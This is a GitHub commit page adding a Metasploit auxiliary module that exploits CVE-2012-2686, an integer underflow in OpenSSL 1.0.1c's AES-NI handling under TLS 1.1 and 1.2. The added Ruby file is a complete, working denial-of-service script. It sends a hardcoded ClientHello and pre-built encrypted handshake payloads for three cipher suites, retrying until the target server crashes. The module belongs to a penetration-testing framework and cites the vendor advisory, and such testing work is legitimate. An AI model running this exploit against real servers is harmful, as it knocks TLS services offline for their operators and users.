Skip to content

Commit e701598

Browse files
committed
Added Module for a DoS issue in OpenSSL (pre 1.0.1d). Can be exploited with services that use TLS >= 1.1 and AES-NI. Because of improper length computation, an integer underflow occurs leading to a segmentation fault. This module brute-forces serveral encrypted messages - when the decrypted message coincidentally specifies a certain value for the size, the integer underflow occurs. Though this could be accomplished more effectively (e.g. implementing or maninpulating and TLS implementation), this module still does what it should do.
1 parent 4085fa7 commit e701598

File tree

1 file changed

+169
-0
lines changed

1 file changed

+169
-0
lines changed
Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,169 @@
1+
# auxilary/dos/ssl/openssl_aesni
2+
require 'msf/core'
3+
4+
class Metasploit4 < Msf::Auxiliary
5+
include Msf::Exploit::Remote::Tcp
6+
include Msf::Auxiliary::Dos
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS',
11+
'Description' => %q{
12+
The AES-NI implementation of OpenSSL 1.0.1c does not
13+
properly compute the length of an encrypte message when used
14+
with a TLS version 1.1 or above. This leads to an integer
15+
underflow which can cause a DoS.
16+
},
17+
'Author' => [
18+
'Wolfgang Ettlinger <wolfgang.ettlinger[at]gmail.com>'
19+
],
20+
'License' => BSD_LICENSE,
21+
'References' =>
22+
[
23+
[ 'CVE', '2012-2686'],
24+
[ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt']
25+
],
26+
'DisclosureDate' => 'Feb 05 2013'))
27+
28+
register_options(
29+
[
30+
Opt::RPORT(443),
31+
OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300])
32+
], self.class)
33+
end
34+
35+
def run
36+
# Client Hello
37+
p1 =
38+
"\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<<
39+
"\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<<
40+
"\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<<
41+
"\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<<
42+
"\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<<
43+
"\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<<
44+
"\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<<
45+
"\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<<
46+
"\x00\x01\x01"
47+
48+
# Client Key Exchange, Change Cipher Spec, Encrypted Handshake
49+
# AES256-SHA
50+
p2_aes_sha =
51+
"\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<<
52+
"\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<<
53+
"\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<<
54+
"\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<<
55+
"\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<<
56+
"\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<<
57+
"\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<<
58+
"\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<<
59+
"\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<<
60+
"\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<<
61+
"\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<<
62+
"\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<<
63+
"\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<<
64+
"\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<<
65+
"\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<<
66+
"\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<<
67+
"\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<<
68+
"\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<<
69+
"\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<<
70+
"\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<<
71+
"\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<<
72+
"\xdb\x0d\x04\x96\x21\xd2"
73+
74+
# DHE-RSA-AES256-SHA
75+
p2_dhe_rsa_aes256_sha =
76+
"\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<<
77+
"\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<<
78+
"\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<<
79+
"\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<<
80+
"\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<<
81+
"\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<<
82+
"\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<<
83+
"\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<<
84+
"\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<<
85+
"\x3d\xd3\xa2\xff\xb0\x8b"
86+
87+
# ECDHE-RSA-AES128-SHA
88+
p2_ecdhe_rsa_aes128_sha =
89+
"\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<<
90+
"\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<<
91+
"\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<<
92+
"\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<<
93+
"\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<<
94+
"\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<<
95+
"\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<<
96+
"\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<<
97+
"\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<<
98+
"\x89\x09\xe2\x3f\x3e\x1f"
99+
100+
maxtries = datastore['MAX_TRIES']
101+
102+
success = false
103+
104+
for i in 0..maxtries
105+
print_status("Try \##{i}")
106+
107+
connect
108+
109+
sock.put(p1)
110+
resp = sock.recv(4096)
111+
112+
cs = get_cipher_suite(resp)
113+
114+
if cs == 0xc013 # ECDHE-RSA-AES128-SHA
115+
p2 = p2_ecdhe_rsa_aes128_sha
116+
elsif cs == 0x0039 # DHE-RSA-AES256-SHA
117+
p2 = p2_dhe_rsa_aes256_sha
118+
elsif cs == 0x0035 # AES256-SHA
119+
p2 = p2_aes_sha
120+
else
121+
print_error("No common ciphers!")
122+
return
123+
end
124+
125+
sock.put(p2)
126+
127+
alert = nil
128+
129+
timeout(2) do
130+
alert = sock.recv(4096)
131+
end
132+
133+
disconnect
134+
135+
if alert == ''
136+
print_status("DoS successful. process on #{rhost} did not respond.")
137+
success = true
138+
break
139+
end
140+
end
141+
142+
if success == false
143+
print_status("DoS unsuccessful.")
144+
end
145+
end
146+
147+
def get_cipher_suite(resp)
148+
offset = 0
149+
150+
while offset < resp.length
151+
type = (resp[offset, 1]).unpack("C")[0]
152+
153+
if not type == 22 # Handshake
154+
return nil
155+
end
156+
157+
len = (resp[offset+3, 2]).unpack("n")[0]
158+
hstype = (resp[offset+5, 1]).unpack("C")[0]
159+
160+
if hstype == 2
161+
return (resp[offset+44, 2]).unpack("n")[0]
162+
end
163+
164+
offset += len
165+
end
166+
167+
end
168+
end
169+

0 commit comments

Comments
 (0)